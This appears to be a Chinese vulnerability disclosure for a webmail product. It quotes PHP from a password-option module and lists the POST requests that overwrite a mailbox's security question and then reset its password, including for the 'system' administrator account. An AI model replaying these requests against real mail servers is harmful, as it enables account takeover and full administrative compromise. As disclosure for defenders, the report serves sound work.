### 简要描述: 不多说了,这邮件系统问题简直太多,真揪心 ### 详细说明: 漏洞文件 /fast/option/module/o_password.php代码 ``` if ( ACTION == "question" ) { $url = "/webmail/fast/option/index.php?module=view&action=password"; $where = "UserID='".$user_id."'"; $data = array( "question" => gss( $_POST['question'] ), "answer" => gss( $_POST['answer'] ) ); $result = $Mailbox->update_info( $data, $where, 0 );//直接将获得的用户数据进行了update $msg = $result ? "" : "修改密码提示问题时出现错误,修改失败!"; redirect( $url, $msg ); } ?> ``` 找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图 http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为mailbox=test0001@fuck.com&link=? 然后访问该方法,更新用户的密码提示问题和答案 http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question post数据为question=hello&answer=tom改为自己设置的密码问题即可 然后执行找回密码方法,请求为 http://mail.fuck.com/webmail/getpass.php post数据为email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4 [<img...
### 简要描述: 不多说了,这邮件系统问题简直太多,真揪心 ### 详细说明: 漏洞文件 /fast/option/module/o_password.php代码 ``` if ( ACTION == "question" ) { $url = "/webmail/fast/option/index.php?module=view&action=password"; $where = "UserID='".$user_id."'"; $data = array( "question" => gss( $_POST['question'] ), "answer" => gss( $_POST['answer'] ) ); $result = $Mailbox->update_info( $data, $where, 0 );//直接将获得的用户数据进行了update $msg = $result ? "" : "修改密码提示问题时出现错误,修改失败!"; redirect( $url, $msg ); } ?> ``` 找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图 http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为mailbox=test0001@fuck.com&link=? 然后访问该方法,更新用户的密码提示问题和答案 http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question post数据为question=hello&answer=tom改为自己设置的密码问题即可 然后执行找回密码方法,请求为 http://mail.fuck.com/webmail/getpass.php post数据为email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4 [<img src="https://images.seebug.org/upload/201501/2121362582d4e761d4fcd42f27868d081a599aa2.png" alt="a.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/2121362582d4e761d4fcd42f27868d081a599aa2.png) 这是找回任意普通用户的密码,由于管理员system也在该表里,所以我们可以将第一个请求换成mailbox=system@fuck.com&link=?,然后更新其密保问题,然后找回密码即可,如图 [<img src="https://images.seebug.org/upload/201501/21213655f441c4805f5b115f9f281df6746a4f9c.png" alt="b.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/21213655f441c4805f5b115f9f281df6746a4f9c.png) 数据库为 [<img src="https://images.seebug.org/upload/201501/212137346ffd4b3b1a242fb56b068a9d89be9a1c.png" alt="c.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/212137346ffd4b3b1a242fb56b068a9d89be9a1c.png) [<img src="https://images.seebug.org/upload/201501/212137417e25bf3b18c22ca89d6c5114036bfca7.png" alt="d.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/212137417e25bf3b18c22ca89d6c5114036bfca7.png) 其中,得到管理员密码后,http://mail.fuck.com/webmail/admin/ 在此处登录,登录即可操作整个邮箱系统,如图 [<img src="https://images.seebug.org/upload/201501/21213819a395c4dbc133f2e9c6d71d5d57792d4a.png" alt="e.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/21213819a395c4dbc133f2e9c6d71d5d57792d4a.png) 批量获得system的就不演示了 ### 漏洞证明: 如上